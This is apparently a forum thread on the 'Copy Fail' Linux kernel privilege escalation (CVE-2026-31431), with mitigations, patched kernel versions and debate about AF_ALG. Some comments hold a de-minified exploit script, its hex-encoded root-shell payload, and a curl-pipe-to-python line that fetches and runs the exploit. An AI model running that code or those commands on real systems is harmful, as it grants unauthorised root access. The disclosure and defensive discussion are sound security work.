Copy Fail(copy.fail) |
Copy Fail(copy.fail) |
Password: su: Authentication token manipulation error
I'm guessing this means it's already patched?
you are reading about it now because it has been patched.
Ubuntu before 26.04 LTS (released a week ago) are currently listed as vulnerable.
Debian other than forky and sid are currently listed as vulnerable.
This is a disgrace.
In my opinion, this mostly affects countries that are still using outdated systems, especially critical systems.
This gives bad actors a direct route to the root. Having an easily accessible root is not funny.
So, if anything, this might argue against the presence of huge quantities of high-severity bugs in this part of the Linux kernel (that could be found by "Xint Code"-class scanning systems).
Anybody has the same feeling?
2026-03-23Reported to Linux kernel security team
2026-03-24Initial acknowledgment
2026-03-25Patches proposed and reviewed
2026-04-01Patch committed to mainline
2026-04-22CVE-2026-31431 assigned
2026-04-29Public disclosure (https://copy.fail/)
Give up entirely on non-virtualized container security?
This is not sarcasm. I'd finally given in and started learning about docker/podman-style OCI containerization last week.
For immediate mitigation, block AF_ALG socket creation via seccomp or blacklist the algif_aead module:
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead 2>/dev/nullI have amazing timing.
I'd do 'umask 133' in front of the echo out of paranoia.
Out of curiosity, was the asterisk after '2>/dev/null' intentional? I had not seen that idiom before.
This is usable anywhere on an affected Kernel version
Except you can't pass another setuid binary as argv[1] because the AI writing this slop never added that feature to this python script.
I can't get it to work on any distro i've tried.
The bug is pretty great. I feel bad for the researchers who did the work.
They are probably Ubuntu 24 but don't remember.
$ ls -lah /run/wrappers/bin/su
-r-s--x--x 1 root root 70K Apr 27 11:09 /run/wrappers/bin/su
I know it's also unrelated, but this is the most aggressively obvious LLM slop copy I've ever seen and it is a page with like 30 sentences. I guess we're just seriously doing this, huh?
But modifying a setuid binary is just the demo exploit that was published with the vulnerability disclosure. The vulnerability actually allows modifying four bytes in any readable file. That means system configuration files, other binaries intended to be run by root, libraries... It's not limited to modifying setuid binaries.
% git describe a664bf3d603d
v7.0-rc1-10-ga664bf3d603d
printf "# CVE-2026-31431\nblacklist algif_aead\ninstall algif_aead /bin/false\n" | sudo tee /etc/modprobe.d/blacklist-algif_aead.conf >/dev/null && sudo update-initramfs -usync && echo 3 >/proc/sys/vm/drop_caches
https://github.com/anthropics/claude-code/issues/40741 (gcc version "Red Hat 14.3" included in system version at the bottom)
https://docs.oracle.com/en/database/oracle/tuxedo/22/otxig/s...
Why marketing though?
> and yes, RHEL 14.3 doesn't exist We meant to say RHEL 10.1. Sorry for the confusion!
Unfortunately it fails on calling bind() on my device, so probalby Android doesn't ship with that kenrel module by default :(. So no freedom for my $40 phone.
Putting it out here, maybe somebody else will have better luck.
[1] https://gist.github.com/alufers/921cd6c4b606c5014d6cc61eefb0...
adb shell zcat /proc/config.gz | grep CONFIG_CRYPTO_USER_API
# CONFIG_CRYPTO_USER_API_HASH is not set
# CONFIG_CRYPTO_USER_API_SKCIPHER is not set
# CONFIG_CRYPTO_USER_API_RNG is not set
# CONFIG_CRYPTO_USER_API_AEAD is not set File "/data/data/com.termux/files/home/a.py", line 5, in c
a=s.socket(38,5,0); # ...
File "/data/data/com.termux/files/usr/lib/python3.13/socket.py", line 233, in __init__
_socket.socket.__init__(self, family, type, proto, fileno)
~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
PermissionError: [Errno 13] Permission deniedTraceback (most recent call last): File "/data/data/com.termux/files/home/exploit.py", line 8, in <module> f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3")) ^^^^^^^^^^^^^^^^^^^^^^^ FileNotFoundError: [Errno 2] No such file or directory: '/usr/bin/su'
Not using setuid anywhere means you'd have to build a slightly more clever exploit, but it's still trivial - just modify some binary you know will run as root "soon".
But... I didn't check, but IIRC the untrusted_app secontext that apps run in is not allowed to open AF_ALG sockets - so you can't directly trigger the vulnerability as a malicious app. Although it might be possible in some roundabout way (requesting some more privileged crypto service to do so).
Looking at their source code [1] it starts with this simple line:
import os as g,zlib,socket as s
And already I'm perplexed. "os as g"? but we're not aliasing "zlib as z"? Clearly this is auto-generated by some kind of minimizer? Likely because zlib is called only once, and os multiple times. As a code author/reviewer, I would never write "os as g" and I would absolutely never approve review of any code that used this.
Anyway, I could go on. :) Let's just stop fetishizing byte count
[1] https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/m...
i bet if i told you their names, you would instantly know what vulns those are.
its easier to talk about things with names. it hurts no one. it takes approximately no effort or time.
CVEs are, for whatever reason, like the only thing on the planet that people seem to have a problem with when they receive a name. i am not sure why.
What, you guys talk about books based on their “title” instead of just memorising the ISBN of each book? Pssh, count me disappointed!
Very few CVE’s get names dedicated to them like this, because usually when they do - it is very serious, as in this case.
Got:
OSError: [Errno 97] Address family not supported by protocol
Edit:
Looks like on Arch you have to go out of your way to have this enabled.
$ zcat /proc/config.gz | grep CONFIG_CRYPTO_USER_API
CONFIG_CRYPTO_USER_API=m
CONFIG_CRYPTO_USER_API_HASH=m
CONFIG_CRYPTO_USER_API_SKCIPHER=m
CONFIG_CRYPTO_USER_API_RNG=m
# CONFIG_CRYPTO_USER_API_RNG_CAVP is not set
CONFIG_CRYPTO_USER_API_AEAD=m
# CONFIG_CRYPTO_USER_API_ENABLE_OBSOLETE is not set
$ uname -r
6.12.63-1-ltshttps://gitlab.archlinux.org/archlinux/packaging/packages/li...
> Yes — it's on this page. We held it for a month while distros prepared patches; the major builds are out as of this writing.
There is no update available for Ubuntu 24, PoC works and just tried updating.
> the primary mitigation is still patching the node kernel; user namespaces are blast-radius reduction, not a complete mitigation for this path
That's crazy, feels like prompting "make no mistakes" to the llm.
If it works, when would you want it turned on? Why isn't false the default
As an operator you are responsible for configuring your environment correctly. I would recommend starting here: https://kubernetes.io/docs/concepts/security/
curl https://copy.fail/exp | python3 && su
Traceback (most recent call last):
File "<stdin>", line 9, in <module>
File "<stdin>", line 5, in c
AttributeError: module 'os' has no attribute 'splice'
Edit: python3 is python 3.6 on my system. Runnung with python3.10 instantly roots. Crazy find!
Meanwhile, recent Xen CVEs also do not affect Qubes, as usual, https://www.qubes-os.org/news/2026/04/28/xsas-released-on-20...
https://github.com/bottlerocket-os/bottlerocket/security/adv...
Interesting detail. On Alpine, `/usr/bin/su` is not readable by any user, so the PoC doesn't work.
I suspect that the underlying issue can be exploited in other ways, but it makes me think that there's no reason for any suid binary to be world-readable.
This is why I compile my own kernel. I disable things I don't use. If it's not present it can't hurt you.
> block AF_ALG socket creation via seccomp regardless of patch state.
Likewise I use seccomp to only allow syscalls that are necessary. Everything else is disabled. In the programs I have that need to connect to a backend socket, that is done, and then socket creation is disabled.
Tested on almalinux8/9
https://gist.github.com/42wim/2e3cc3c92333e4c2730541e6f0e038...
YMMV
On this bright side, does this mean Magisk is coming to all unpatched Android phones?
https://github.com/lestercheung/linux-copy-fail-workarounds/
Failed to meet the assumptions I guess
NB. I'm only referring to the "default exploit" not the vulnerability itself
If you wanted real savings, you'd use "d=bytes.fromhex" instead of defining a function -- 17 bytes!! And d('00') -> b'\0' for -2 bytes.
We could easily get the byte count down further by using base64.b85decode instead of bytes.fromhex (-70 or so), but ultimately we're optimizing a meaningless metric, as you mention.
But the fact that it's not a kernel-exec LPE and it's reliable across kernels and distributions is important; it's close to the maximum "exploitability" you're going to see with an LPE. Which the page does communicate effectively; it just gilds the lily.
But the bug is real and people should patch :)
For the size: sometimes people will shove in kilobytes of offset tables or something into an exploit, so it'll fingerprint and then look up details to work. This is much smaller because it doesn't need any of that, which is important for severity. (I agree the "golf" nature is a bit of an aside, kind of like pwn2own exploits taking "10 seconds")
Where do you see this "fetishizing" happening most often? It's a strange thing to counter-fetishize about.
From a Busy Beaver, 256-bytes compo, or Dwitter perspective, 732 bytes isn’t really that meaningful.
And the sample exploit is even optimizing the byte size by using zlib compression, which doesn’t make much sense for the purpose. It just emphasizes the byte count fetishization.
"Just" is doing a lot of work there, I'm so annoyed reading it.
It's like an anti-ad and they had pretty cool material to work with.
* Claude loves stacatto "Some numeric figure. Something else. Intensifier" (ex. the "exploitable for a decade." or whatever sentences)
Assuming AI was correct, it unpacks more or less like this
import os, zlib, socket
AF_ALG = 38
SOCK_SEQPACKET = 5
SOL_ALG = 279
def hex_bytes(x):
return bytes.fromhex(x)
sock = socket.socket(AF_ALG, SOCK_SEQPACKET, 0)
sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
sock.setsockopt(SOL_ALG, 1, hex_bytes("0800010000000010" + "0" * 64))
sock.setsockopt(SOL_ALG, 5, None, 4)
op, _ = sock.accept()
length = offset + 4
zero = b"\x00"
op.sendmsg(
[b"A" * 4 + patch4],
[
(SOL_ALG, 3, zero * 4),
(SOL_ALG, 2, b"\x10" + zero * 19),
(SOL_ALG, 4, b"\x08" + zero * 3),
],
32768,
)
read_pipe, write_pipe = os.pipe()
os.splice(fd, write_pipe, length, offset_src=0)
os.splice(read_pipe, op.fileno(), length)
try:
op.recv(8 + offset)
except:
pass
payload = zlib.decompress(bytes.fromhex("..."))
offset = 0
while offset < len(payload):
trigger(target, offset, payload[offset:offset + 4])
offset += 4
How often do you review, and subsequently block the release, of PoCs in this sort of context? Sounds like you've faced this a lot.
I always thought code quality mattered less in those, as long as you communicate the intent.
If you have a choice between pointing out the byte size of the exploit, and not pointing out the byte size of the exploit, pointing it out is virtually always the wrong choice.
In both cases, doing the right thing is less work. So somebody is going the extra way to ensure they are doing it wrong. If they didn't care, they'd end up doing it right by default.
How does "import os as g" communicate the intent? How does hiding the payload behind zlib communicate the intent? This is the opposite: obfuscating the intent, so they can brag about 732 bytes instead of 846 bytes (or whatever it might have been).
It would have been less work for everyone involved to just release the unminified source.
"The honest solution: a clean 50-line cut" and so on, ad nauseam
Then go on. zlib is only used once, so "zlib as z" in exchange for using z once doesn't get you anything. Using os directly and not renaming it g saves you 2 bytes though. But in this age where AI outputs reams of code at the drop of a hat, why shouldn't we enjoy how small you can get it to pop a root shell?
https://gist.github.com/fragmede/4fb38fb822359b8f5914127c2fe...
edit: If we drop offset_src=0 and just pass in 0 positionally, it comes down to 720.
Because I want to know what the exploit is doing and how it works, and if it's even safe to run.
A privesc PoC is NOT the place for this kind of fun.
lucky for them, its an exploit script, not enterprise code.
all that needs to be "reviewed" is whether or not it exploits the thing its supposed to.
edit: yall really think a 10-line proof of concept script needs to undergo a code review? wild. i shouldnt be surprised that the top comment on a cool LPE exploit is complaining about variable naming
Maybe you didn't care, but the length of this comment chain clearly shows that it matters. Effective communication is just as important as the engineering.
You can check your DomU kernels using this guide:
https://doc.qubes-os.org/en/latest/user/advanced-topics/mana...
If your Dom0 or DomU is running kernel < 6.18.22, or between 6.19.0 and 16.19.12 you are vulnerable.
https://github.com/QubesOS/qubes-linux-kernel/pull/1272 commit fafe0fa2995a of the kernel mirror
Currently stable version of QubeOS does not have the patched kernels. https://yum.qubes-os.org/r4.3/current/dom0/fc41/rpm/
Yes, it is vulnerable, except there is no attack vector, as you don't run any software there: https://doc.qubes-os.org/en/r4.3/user/downloading-installing...
> DomU (App Qubes) also run the Linux kernel and are just as vulnerable.
I think you misinterpret the Qubes approach to security. If you do everything in one VM, you get no protection from the virtualization. Moreover, there is no sudo password by design: https://doc.qubes-os.org/en/r4.3/user/security-in-qubes/vm-s... This is not how to use Qubes.
You need to compartmentalize your workflows. It doesn't matter if my disposable VM is compromised. My secrets are in another, offline VM, where I never run anything. There is no way to use the discussed vulnerability, if one uses Qubes according to docs. See examples here: https://doc.qubes-os.org/en/latest/user/how-to-guides/how-to...
Relevant section
~~My allegedly fully patched pixel 8 pro allowed an AF_ALG socket to open under termux without virtualization so I'm not sure the last but is true~~
Which I guess is true but I would like to verify the attack is the intended one
I guess it’s a good thing I’m not a SovCit or I’d just have to call them Traveller Three and Traveller Four
Traceback (most recent call last): File "/data/data/com.termux/files/home/exploit.py", line 9, in <module> while i<len(e):c(f,i,e[i:i+4]);i+=4 ^^^^^^^^^^^^^^^ File "/data/data/com.termux/files/home/exploit.py", line 5, in c a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"4+c],[(h,3,i4),(h,2,b'\x10'+i19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o) ^^^^^^^^^^^^^^^^ File "/data/data/com.termux/files/usr/lib/python3.12/socket.py", line 233, in __init__ _socket.socket.__init__(self, family, type, proto, fileno) PermissionError: [Errno 13] Permission denied
> https://www.qubes-os.org/news/2026/04/28/xsas-released-on-20...
Looking at just that small list, they mark some vulnerabilities as not vulnerable because it's "In-VM attack only". That's disingenuous.
> There is no way to use the discussed vulnerability, if one uses Qubes according to docs
It's like saying you're not vulnerable to cutting yourself with a knife, as long as you use it correctly.
You can say your risk is low, but you can't say you're not vulnerable.
---
> Moreover, there is no sudo password by design
The POC uses `/usr/bin/su`, but that's besides the point.
The vulnerability itself can affect other things. The POC just used root-privilege escalation as an example.
https://access.redhat.com/security/cve/cve-2026-31431
RedHat states "This could lead to data integrity issues or unexpected behavior during cryptographic operations, impacting the reliability of encrypted communications for local users." as the impact.
On the one hand, you are right, and I rather meant "not exploitable", since technically the vulnerability is still there. On the other hand, yes, any security does rely on you not doing something stupid like "curl | sudo bash".
> "In-VM attack only". That's disingenuous.
It's really not. Hardening of guest OSes is out of scope of Qubes. You are supposed to not combine trusted and untrusted actions in a single VM, so intra-VM security is really secondary. I really recommend you to read my link about organizing the workflows.
You have a good point concerning the integrity issues though.
And I'm fine with that. I think, the Qubes OS notices should use that terminology as well. Though, some of the vulnerabilities are exploitable, if you don't follow the Qubes OS guides to the T.
With that being said, yeah, he's being disingenuous as per usual for sure. Part of Qubes hardening is trying to not allowing an attacker to gain root to make it harder to attack Xen, but our evangelist here claims it doesn't matter if an attacker has root :)
i just dont understand huffing and puffing over "os as g" in a 10-line poc script, and saying "well i would never approve this". its not enterprise code. its not code that will ever be used anywhere else, for anything. its sole purpose is to prove that the exploit is real, which it does!
the rest of the information is in the actual vulnerability report. the poc is a courtesy to the reportee, so that they can confirm that the report itself isnt bullshit.
evidently, given the downvotes i am getting, people think exploit scripts should be enterprise quality code. ¯\_(ツ)_/¯ half of the reports i see flowing through mailing lists dont even have a poc.
amazingly HN-like to be upset about a variable name
And this code is not readable at all. It is failing at letting people confirm the exploit easily.
that is contained in the report, which will look similar to the blog. the maintainers will have an open line of contact with the reporters as well. the poc is a small part of the entire report. its not like the linux maintainers only received this poc and have to work out the vulnerability from it alone.
>It is failing at letting people confirm the exploit easily.
it confirms the exploit incredibly easy. just run it, and you get confirmation.
(You're not alone in this, BTW; I don't mean to single you out.)
(HN algorithms have killed some of your comments, perhaps because you posted the same URL too many times from a relatively new account? I’ve vouched for you, but keep in mind that it triggers antispam.)
---
Edit: naturally, no luck:
$ ./exploit /system/bin/ping
[+] target: /system/bin/ping
[+] payload: 2112 bytes (528 iterations)
socket(AF_ALG): Permission denied
patch_chunk failed at offset 0
For all I know the blog itself is a honey pot. I need to know what the code does before I run it.
its literally code meant to exploit your system. you should be running it in an environment built for that already.
you dont test exploit pocs on your daily driver.
Do you just like making fake points and pretending other people said them?
you said "I need to know what the code does before I run it.".
you know its an LPE. the mechanisms of the exploit are fully explained. what more do you need to know? please imagine yourself in the position of the kernel security team who would have received this poc in the first place when you answer, because that is the intended context of the poc.
if you think the kernel security team is going to get tripped up over "os as g", you have a crazy low view of the team.
The algorithm being used in this exploit, "authencesn", is even an IPsec implementation detail, which never should have been exposed to userspace as a general-purpose en/decryption API.
If you're in charge of the configuration for a Linux kernel, I strongly recommend disabling all CONFIG_CRYPTO_USER_API_* kconfig options. This would have made this bug, and also every past and future AF_ALG bug, unexploitable. In the unlikely event that you find that it breaks any userspace programs on your system, please help migrate them to userspace crypto code! For some it's already been done. But in general, AF_ALG has actually never been used much in the first place, other than in exploits.
I don't think there's much other option. This sort of userspace API might have been sort of okay many years ago. But it just doesn't stand up in a world with syzbot, LLM-assisted bug discovery, etc.
https://www.chronox.de/libkcapi/html/ch01s02.html
It states the following:
> There are several reasons for AF_ALG:
> * The first and most important item is the access to hardware accelerators and hardware devices whose technical interface can only be accessed from the kernel mode / supervisor state of the processor. Such support cannot be used from user space except through AF_ALG.
> * When using user space libraries, all key material and other cryptographic sensitive parameters remains in the calling application's memory even when the application supplied the information to the library. When using AF_ALG, the key material and other sensitive parameters are handed to the kernel. The calling application now can reliably erase that information from its memory and just use the cipher handle to perform the cryptographic operations. If the application is cracked an attacker cannot obtain the key material.
> * On memory constrained systems like embedded systems, the additional memory footprint of a user space cryptographic library may be too much. As the kernel requires the kernel crypto API to be present, reusing existing code should reduce the memory footprint.
I can't judge whether this is a good justification, but there is one.
There's a weird area between the workloads that fit on a microcontroller, and the stuff that demands a full-blown CPU. Think softcore processors on FPGAs, super tiny MIPS and RISC-V cores on an ASIC, etc. Typically you run something like Yocto on a core like that. Maybe MontaVista or QNX if you've got the right nerd running the show.
So you have serious compute needs, and security concerns that justify virtual memory. But you don't have infinite space to work with, so hardware acceleration is important. Having a standard API built into the kernel seems like a decent idea I guess.
And yet, I've never heard of AF_ALG. I've never seen it used. The thing is, if you have some bizzaro softcore, there's a good chance you also have a bizzaro crypto engine with no upstream kernel driver. If you're going to the trouble of rolling your own kernel with drivers for special crypto engines, why would you bother hooking it into this thing? Roll your own API that fits your needs and doesn't have a gigantic attack surface.
So grain of salt.
Check if the following are modules
grep CONFIG_CRYPTO_USER_API /boot/config-$(uname -r)
/etc/modprobe.d/blacklist-crypto-user-api.conf
"""
blacklist af_alg
blacklist algif_hash
blacklist algif_skcipher
blacklist algif_rng
blacklist algif_aead
install af_alg /bin/false
install algif_hash /bin/false
install algif_skcipher /bin/false
install algif_rng /bin/false
install algif_aead /bin/false
"""
update-initramfs -u
To be clear, general-purpose Linux distros generally can't disable these kconfig options yet, due to these cases. But there are many Linux systems that simply don't need this functionality.
A good project for someone to work on would be to fix iwd and cryptsetup to always use userspace crypto, as they should.
Just reboot after applying this change.
zgrep CONFIG_CRYPTO_USER_API /proc/config.gzalso only algif_aead is vulnerable
https://blog.cloudflare.com/the-linux-kernel-key-retention-s...
https://www.youtube.com/watch?v=7djRRjxaCKk
https://www.youtube.com/watch?v=lvZaDE578yc
So it's not as simple as "should not exist". I agree though that there doesn't seem to be a valid need to expose authencesn to user space.
Disclosure: I'm co-maintaining crypto/asymmetric_keys/ in the kernel and the author/presenter in the first two links is another co-maintainer.
The fact that the first link recommends using keyctl() for RSA private keys is also "interesting", given that the kernel's implementation of RSA isn't hardened against timing attacks (but userspace implementations of RSA typically are).
> syzbot system continuously fuzzes main Linux kernel branches and automatically reports found bugs to kernel mailing lists. syzbot dashboard shows current statuses of bugs. All syzbot-reported bugs are also CCed to syzkaller-bugs mailing list. Direct all questions to syzkaller@googlegroups.com.
To steal from the sibling post:
> * When using user space libraries, all key material and other cryptographic sensitive parameters remains in the calling application's memory even when the application supplied the information to the library. When using AF_ALG, the key material and other sensitive parameters are handed to the kernel. The calling application now can reliably erase that information [...]
It's even more than this: you can do crypto ops in user space without ever even having the key to begin with.
[Ed.: that said, maybe AF_ALG should be locked behind some CAP_*]
[Ed.#2: that said^2, I'm putting this one on authencesn, not AF_ALG. It's the extended sequence number juggling that went poorly, not AF_ALG at large. I bet this might even blow up in some strange hardware scenarios, "network packet on PCIe memory" or something like that - I'm speculating, though.]
DRY looking very bearish, do repeat yourself, do build your own, do use userspace tools even if the kernel has its own version. Not as big a hit on the DRY philosophy as those pip and npm supply chain attacks last couple of weeks though.
KISS remains unaffected for the time being.
Linux distros go to market as maximally capable, maximally interoperable, and maximally available for whatever the users want to do. So there is a lot of "shovelware" that is unnecessarily installed with your base system. A lot of services are enabled that you don't need. A lot of kernel modules are loaded or ready to spring into action as soon as you connect hardware that the kernel recognizes.
All this maximizing also increases the system's attack surface, whether local or over the network. Your resources, time and effort increase, to update the system and maintain all those packages. The TCO is high.
With OpenBSD, the base system is hardened and the code is audited with security in mind. They only install or enable essential functions. So it's up to the user to dig in, customize it, and add in features that are needed.
The good news is that you can do some after-market hardening. Uninstall software that you're not using, and disable non-essential services. Tune your kernel for special-purpose, or general-purpose, but not every-purpose.
There are now special distros for containers and VMs with minimal system builds. They are designed to be as small and lightweight as possible. That is a good start in the right direction.
That said, elsewhere ITT it's pointed out there are only a few use cases so far.
If this gets removed, they'll creep in somewhere we can't find them for a while.
Would be an interesting story.
I'm hoping we can get iwd fixed to use a userspace crypto library, as well. This is something that people could help with.
iwd also runs as root, so it would be okay with a CAP_SYS_ADMIN permission check if one were introduced, I think.
I think cryptsetup / LUKS also requires it with some non-default options. With the default options, it works fine with the kconfigs disabled.
There's not much else, as far as I know. Normally programs just use a userspace library instead, such as OpenSSL.
If these syscalls are used by userspace as rarely as you say, the performance impact of this kind of sandboxing wouldn't matter much. And maybe there could be a KCONFIG/boot flag to switch back to using the un-sandboxed code path for userspace invocations too, for enterprises stuck with old software who really care.
---
My own thought process on how this could work below (but I'm not a kernel contributor, so you can probably immediately picture a design better than I can):
The naive way to do this, would be for the kernel build process to emit a separate AF_ALG userland IPC server as an additional build artifact; to get distros to package this IPC server as a component package of kernel packages; and to set up the sandboxed AF_ALG "kernel bridge" so that it proxies calls through to this IPC server if it exists, and errors out otherwise. (Basically like kfuse, except in this case the only "FUSE servers" are first-party.)
But that's a bit painful, organizationally. Puts a lot of work on the distro maintainers' shoulders, that they might just not bother doing. Prone to error. I think there are better alternatives.
1. Maybe the userland syscalls that rely on AF_ALG could instead ground out inside the kernel in a copy of AF_ALG that's been compiled to eBPF? Then that eBPF bytecode could just be embedded into the kernel.
2. Maybe the Linux kernel could consider a facility that would enable it to act as a hybrid microkernel (similar to macOS's XNU) — with arbitrary static sections of the kernel image/kernel modules [or perhaps standalone static ELF binaries embedded within kernel/kmod .data sections] being spawned not as supervisor-mode kthreads doing their own autonomous thing, but rather as unprivileged user-mode kernel threads, running as IPC-servers for the rest of the kernel to talk to?
- The rest of the kernel could talk to these "userspace kthreads" via some nonblocking IPC mechanism; but this mechanism wouldn't need to be exposed to userland the way macOS's XPC is; it could be kernel-to-kernel only (where these "userspace kthreads", despite being in userspace, are still fundamentally kernel threads, and so get to participate in it.)
- Also, these "userspace kthreads", when they're the active scheduled task, would have the kernel image's read-only sections [or their binary's sections, from within the kernel's .data section] mapped into their address space, since that's the binary they're executing against. But they wouldn't inherit [or the spawning mechanism would actively prune from their task struct] the rest of the kernel's mappings. So they'd have to either use the IPC mechanism, or use regular syscalls, to do anything with the kernel, just like any userspace task.)
It doesn’t help that the historically dominant userspace implementation of most of this stuff was OpenSSL, which is also terrible.
https://access.redhat.com/security/cve/cve-2026-31431 "Moderate severity", "Fix deferred"
https://security-tracker.debian.org/tracker/CVE-2026-31431
python3 -c 'import socket; s = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0); s.bind(("aead","authencesn(hmac(sha256),cbc(aes))")); print("algif_aead probably successfully loaded, mitigation not effective; remove again with: rmmod algif_aead")'
modprobe algif_aead
modprobe algif_aead
modprobe: FATAL: Module algif_aead not found in directory /lib/modules/6.14.3-x86_64-linode168
I was wondering if I was vulnerable running Fedora 44, kernel 6.19.14, and after a few minutes of digging I was able to find the linux-cve-announce mailing list post: https://lore.kernel.org/linux-cve-announce/2026042214-CVE-20... which says:
...fixed in 6.18.22 with commit fafe0fa2995a0f7073c1c358d7d3145bcc9aedd8
...fixed in 6.19.12 with commit ce42ee423e58dffa5ec03524054c9d8bfd4f6237
...fixed in 7.0 with commit a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5
As of now the submission title is simply “Copy Fail”.
Given the severity of the exploit, can we edit the Title to add some context that it’s a major Linux vulnerability?
Eg the other submissions say this : “Copy Fail: 732 Bytes to Root on Every Major Linux Distribution.”
Too many darn acronyms. This one wasn't too hard to figure out from context but I wish people would define acronyms before using them!
I agree that it would be a good idea to define it explicitly when writing for a broader audience, but I don't think it's particularly egregious that they didn't. It's certainly something I could see myself forgetting.
Then again, the whole writeup appears to be AI-generated, so...
https://www.acronymfinder.com/Information-Technology/MCU.htm...
https://www.acronymfinder.com/LVAD.html
https://www.acronymfinder.com/Information-Technology/LPE.htm...
If you type "LPE" into English Wikipedia's search bar, and press "Enter", you'll be sent to a disambiguation page which contains a link to the relevant article.
Imagine we would download random code from the internet and just execute it, like with NPM, PIP, Maven, Cargo etc.
1. Yes, it's real.
2. Current chain can write any arbitrary content to any user-readable file (into the page cache).
3. Current chain relies on an available target suid binary that you can open() as a lowpriv user.
4. Current exploit relies on that binary being /bin/su and then being able to execve(/bin/sh, 0, 0) (which doesn't work on alpine, etc.). The former is easily replaced in the code. The latter needs a rebuilt payload ELF (also easy).
5. The authors say they have other chains (including ones that allow container escapes). I believe them.
6. A mildly de-minified PoC for Alpine with a new payload ELF is at hackerspace[pl]/~q3k/alpine.py . You'll need /bin/ping from iputils. This should be now somewhat reliable on any distro that has a `/bin/sh` and any setuid-and-readable binary (you'll just need to find it on your own).
https://object.ceph-waw3.hswaw.net/mastodon-prod/media_attac...
I ran the exploit in rootless Podman, and predictably it doesn't escape the container.
They also claim their script "roots every Linux distribution shipped since 2017.", but only tested four; and it doesn't work on Alpine
So here the next-best thing I found: Disable AF_ALG via systemd. Needs drop-ins for all exposed services. Here an Ansible playbook that covers ssdh and user@, which are the main ones usually.
https://gist.github.com/m3nu/c19269ef4fd6fa53b03eb388f77464d...
On Debian normal unloading of the module works.
`/etc/systemd/system/service.d/${...}.conf`
I think this is what you're looking for.
> Update your distribution's kernel package to one that includes mainline commit a664bf3d603d
But it isn't very clear to me what Kernel version you can expect that to be in. For Arch/CachyOS, the patch seems to be included in 6.18.22+, 6.19.12+ and 7.0+. If you're on any of the lower versions in the same upstream stable series, you're likely vulnerable right now. Some distro kernels may include the fix in other versions, so check for your distribution.
https://github.com/torvalds/linux.git
https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git as remotes:
git log --all --grep 'crypto: algif_aead - Revert to operating out-of-place' '--format=%H' | xargs -I '{}' git tag --contains '{}' | sort -u
v6.18.22
v6.18.23
v6.18.24
v6.18.25
v6.19.12
v6.19.13
v6.19.14
v7.0
v7.0.1
v7.0.2
v7.0-rc7
v7.1-rc1https://github.com/torvalds/linux/commit/a664bf3d603d
6.18.25-gentoo-x86_64 has the patch for Gentoo.
ie does v 6.19.0 have the flaw in it?
https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/m...
>zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
This is not source code, this is binary, it's entirely possible that this contains a script that downloads another malicious script (or that simply contains the malicious commands)
That said, I understand why a terser script might have been prioritized.
EDIT: There's a couple of C ports in the comments that contain more details and no compressed payloads.
It doesn't, it's just a compressed ELF file that does setuid(0); execve(/bin/sh, 0, 0). You can just unzlib it and throw it in a disassembler.
Slightly more readable Python version at https://gist.github.com/grenkoca/b82281a4706e936072979acf54b...
setuid(0);
execve("/bin/sh", NULL, NULL);
exit(0);Does this mean you can go from a basic web shell from a shared hosting account to root? I can see how that could wreak havoc really quickly.
$ stat /bin/su
File: /bin/su
Size: 59552 Blocks: 118 IO Block: 59904 regular file
Device: 0,52 Inode: 796854 Links: 1
Access: (4711/-rws--x--x) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2023-09-18 13:23:03.117105665 -0500
Modify: 2021-02-13 05:15:56.000000000 -0600
Change: 2023-09-18 13:23:03.119105665 -0500
Birth: 2023-09-18 13:23:03.117105665 -0500
Think modifying shared libraries, ld preload, cron, I guess on some systems /etc/passwd even.
There are a lot of files readable that should definitely not be writable.
>Shared dev boxes, shell-as-a-service, jump hosts, build servers — anywhere multiple users share a kernel. any user becomes root
jumped out of bed and went straight into webminal.org servers as local user and ran the python code. It says permission denied on sock() call.
Then I tested with local laptop with it:
```
$ uname -a
Linux debian 6.12.43+deb12-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.43-1~bpo12+1 (2025-09-06) x86_64 GNU/Linux
$ python3 copy_fail_exp.py
# cd /root && ls
bluetooth_fix_log.txt dead.letter overcommit_memorx~ overcommit_memory~ overcommit_memorz~ resize.txt snap
```
It does provide the root access!
If I were accused of anything criminal for running this in a host, my defense would be that I was checking the safety of a service I was being offered. If the service was vulnerable, I would counterclaim, if you are on the defense you are already losing.
Asking for a friend ;)
EDIT: Don't. "/s" in case not obvious.
EDIT: Sorry, I failed at reading your message. Never mind.
https://ubuntu.com/security/cves/about#priority
> Medium: A significant problem, typically exploitable for many users. Includes network daemon denial of service, cross-site scripting, and gaining user privileges.
> High: A significant problem, typically exploitable for nearly all users in a default installation of Ubuntu. Includes serious remote denial of service, local root privilege escalations, local data theft, and data loss.
mystifying to me that shared, multi-user machines are not thought of. for instance, I administer a system with 27k users - people who can login. even if only 1/10,000 of them are curious/malicious/compromised, we (Canadian national research HPC systems) are at risk. yes, this is somewhat uncommon these days, when shell access is not the norm.
but consider the very common sort of shared hosting environment: they typically provide something like plesk to interface to shared machines with no particular isolation. can you (as a website owner or 0wner) convince wordpress/etc to drop and execute a script? yep.
This stance doesn't seem sustainable any more to me.
Good lesson in how not to do disclosure.
It's not good... and surely not "responsible/planned" disclosure.
wtf
- buy a domain
